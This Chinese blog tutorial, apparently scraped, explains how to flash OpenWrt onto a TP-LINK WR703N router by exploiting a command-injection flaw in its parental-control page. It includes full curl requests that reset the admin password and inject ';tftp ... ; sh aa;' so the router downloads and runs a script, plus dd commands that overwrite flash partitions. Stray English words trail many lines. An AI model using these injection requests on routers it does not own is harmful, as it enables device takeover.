2017年度全網原創IT博主評選活動投票:http://www.itbang.me/goVote/254linux
TP-LINK TL-WR703N是一個小型的路由器,能夠有線轉WiFi,3G轉WiFi,不少人拿它刷openwrt系統,而後能夠在上面各類搞事。git
一般刷openwrt的作法是,github
然而!上面的方法只有在2012年12月之前生產的WR703N上(型號在FW build 121204之前的)纔有用,在以後的板子上,選擇完bin文件會提示「上傳的文件與硬件版本不符」,致使沒法從web管理界面刷寫系統!具體來說,若是你的型號(這個在路由器管理界面能夠看到)跟個人同樣是3.17.1 Build 140120 Rel.56593n,那麼恭喜你中獎了,只能經過下面這種方式或者TTL硬件方式刷openwrt。web
緣由是,2012年12月以後的系統升級,對bin文件作了RSA簽名校驗,沒法刷第三方的系統。shell
一番搜索以後發現有個國外的牛人利用TP-LINK家長控制的漏洞,讓路由板執行一些代碼,成功刷寫openwrt系統,這個方法的英文版也被放到了openwrt wr703n的官方wiki上,能夠說是至關靠譜了,國內有人也整理了一個中文版,但有些步驟仍是不夠詳細,因而我整理了一個完整的版出來,讓你們少踩一些坑。windows的同窗能夠參考這個中文版,不過裏邊有些連接失效了,能夠參考我這篇去找對應的工具。windows
由於咱們會先把鏡像下載並處理好放在一個ftp服務器上,因此須要另外一臺電腦扮演這個角色瀏覽器
/private/tftpboot
這個目錄做爲根目錄sudo chmod 777 /private/tftpboot sudo chmod 777 /private/tftpboot/*
sudo launchctl load -F /System/Library/LaunchDaemons/tftp.plist sudo launchctl start com.apple.tftpd
cwh@cwh-Matrimax-PC:sudo apt-get install tftp cwh@cwh-Matrimax-PC:~$ tftp (to) 192.168.2.210 tftp> get aa
把Ubuntu和mac放在一個局域網裏,mac的ip是192.168.2.210,在mac的/private/tftpboot
目錄下有一個名爲aa的文件,執行get aa
以後,會發現Ubuntu的home目錄下多了一個aa文件,也就是文件傳送成功了。服務器
curl https://busybox.net/downloads/binaries/1.21.1/busybox-mips > busybox
連接有可能失效,能夠谷歌搜索busybox binary download,下載mips版本的app
curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576 dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576
/private/tfboot
下cd /tmp tftp -gl i1 192.168.1.100 tftp -gl i2 192.168.1.100 tftp -gl busybox 192.168.1.100 chmod 755 busybox ./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync ./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync reboot -f
解釋一下每行代碼curl
cd /tmp tftp -gl i1 192.168.1.100 # 把i1從tftp服務器下載下來,這裏的ip應該是,你的tftp服務器鏈接路由器以後,ifconfig看到的ip tftp -gl i2 192.168.1.100 # 把i2從tftp服務器下載下來 tftp -gl busybox 192.168.1.100 # 把busybox從tftp服務器下載下來 chmod 755 busybox # 修改busybox權限以執行命令 ./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync # 將i1寫入磁盤分區 ./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync # 將i2寫入磁盤分區 reboot -f # 重啓,會啓動openwrt
至此,你的tftp目錄下應該有4個文件:i1, i2, aa, busybox,缺一不可
這個方法是利用TPLINK家長控制漏洞,以curl的方式執行命令,讓路由器從tftp服務器上下載腳本,執行命令,從而將openwrt固件寫入路由器
【警告】如下步驟可能致使你的路由器變磚,請確認當前的路由器固件版本是3.17.1 Build 140120. 下述全過程請勿斷開鏈接或是斷開電源,本人不對產生的任何後果負責!另外,每一步都很重要,別忽略其中任何一步。一旦變磚,請用3.3V的串口線搶救
在tftp服務器上(鏈接到路由器的另一臺機器也行)執行
修改密碼爲admin42
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.1.1/'
注意這裏的192.168.1.1是路由器的ip地址, 這個步驟只會更改路由器家長控制的默認密碼,刷完openwrt以後會恢復爲openwrt的默認密碼的
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'
等待大約三分鐘,路由器會重啓進入openwrt系統,狀態燈會閃爍一下子
後邊能夠參考這位大兄弟寫的教程,挺詳細的了